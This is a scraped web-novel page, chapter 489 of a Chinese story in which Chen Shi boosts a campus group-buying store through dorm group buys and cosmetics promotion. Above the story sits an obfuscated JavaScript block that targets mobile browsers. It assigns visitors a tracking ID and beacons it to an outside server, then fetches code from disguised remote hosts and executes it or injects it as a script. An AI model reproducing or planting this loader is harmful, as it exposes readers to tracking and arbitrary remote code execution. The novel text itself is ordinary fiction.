第489章(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“拼团”跟“带货”是一套组合拳,而且还是后世无数商业鬼才、总结出来的、绝对行之有效的组合拳。
事实也如他所料——随着这套组合拳打出去,果实团购商城的注册量,终于被拉上来了。
拼团八折到九折的优惠,看起来是不大,但要是一次性多买点,就当囤货,或者集体凑钱,买一件大家都用得着的电器,譬如吹风机、电暖器之类的,那优惠还是很可观的。
至于陈实为什么要以寝室为单位,发起拼团,除了室友就是当代大学生最亲密的关系、容易拉人头之外,也有商业层面的考量。
许多商品,如洗发水、沐浴露、纸巾之类的,基本就是寝室的公共用品。
就拿纸巾来说,可能上午刚拆的一包,只用了两张,去趟图书馆,回来后就只剩下个袋子了。
除非用完后、就放进柜子里锁起来。
但是如此一来,少不得会被室友们排挤啊,一袋纸巾都要锁柜子,马拉个币的能不能再抠点?
但是不锁吧,总有些室友是没有逼数的,自己不肯卖,老用别人的。
所以这些公共用品,最好的购买方式,就是室友们一起拼个团。
陈实精准捕捉到了这点,在内容部发起第一波带货时,主打的就是这类商品。
和他预期一致,这批商品,销量非常好,自然而然、也大大拉动了果实商城的注册量。
里面的道理也很简单——
没有拼团,没有带货时,你不买,可以找借口,说忘了之类的,然后心安理得、继续白嫖室友的。
但是活动出来了,室友找你拼单,你还不买,那就只能呵呵了,室友们买回来,完全有充分的理由,不给你用啊。
甚至还有极大概率、就因为你不参加寝室的拼团,导致你被孤立。
跟中学不一样,大学社交的最小单位,不是班级,而是宿舍,没有谁愿意被室友们孤立的。
想想被孤立的后果吧,吃饭不叫你,上课不跟你坐一起,连打游戏都不带你玩儿......
第一波拼团加带货,能够大获成功,属于是陈实把人性给彻底玩明白了。
至于第二波主打的商品,陈实选择了美妆用品,如口红、眉笔、粉饼、小刷子、眼线笔、睫毛夹之类。
这个吧,就属于精准定位最有消费能力的用户群了。
无论什么年代,女人,尤其是年轻女人,都是最有购买力的消费者群体。
否则某个先天反思圣体、也不可能靠着一声声“姐妹们”、“家人们”,就能从他的好姐妹们身上,每年含泪血赚大几十个亿。
这也就罢了,人家还贼懂PUA,委屈巴巴的让好姐妹们自己去反思,这么多年了,为什么工资没涨、有没有认真工作,为什么不能让我含泪从你们身上、赚更多的钱。
陈实也想从好姐妹们身上爆金币,但他绝对不会得了便宜还卖乖。
即便是他这样的狗资本家,也觉得这事儿忒他妈狗了。
......
要带货,自然需要试用。
陈实昨天去的千禧百货,当天下午,就把头一批带货清单整理出来了,给卫兰发了过去。
卫总经理执行力还是非常强的,第二天一大早,就派人把试用样品送过来了。
琳琅满目的、摆了整整一大桌。
“哥几个,愣着干嘛,赶紧试用啊。”
101大本营,陈实撇了撇嘴,看着脸颊抽搐的张文杰、历飞雨等人。
在这个年代带货,当然不可能开直播——没有那个技术条件——只能采取文字加配图的方式。
当然万变不离其宗,大体流程还是一致的。
带货主播们先试用,然后写试用心得,配合推销的软文,给目标客户们推送。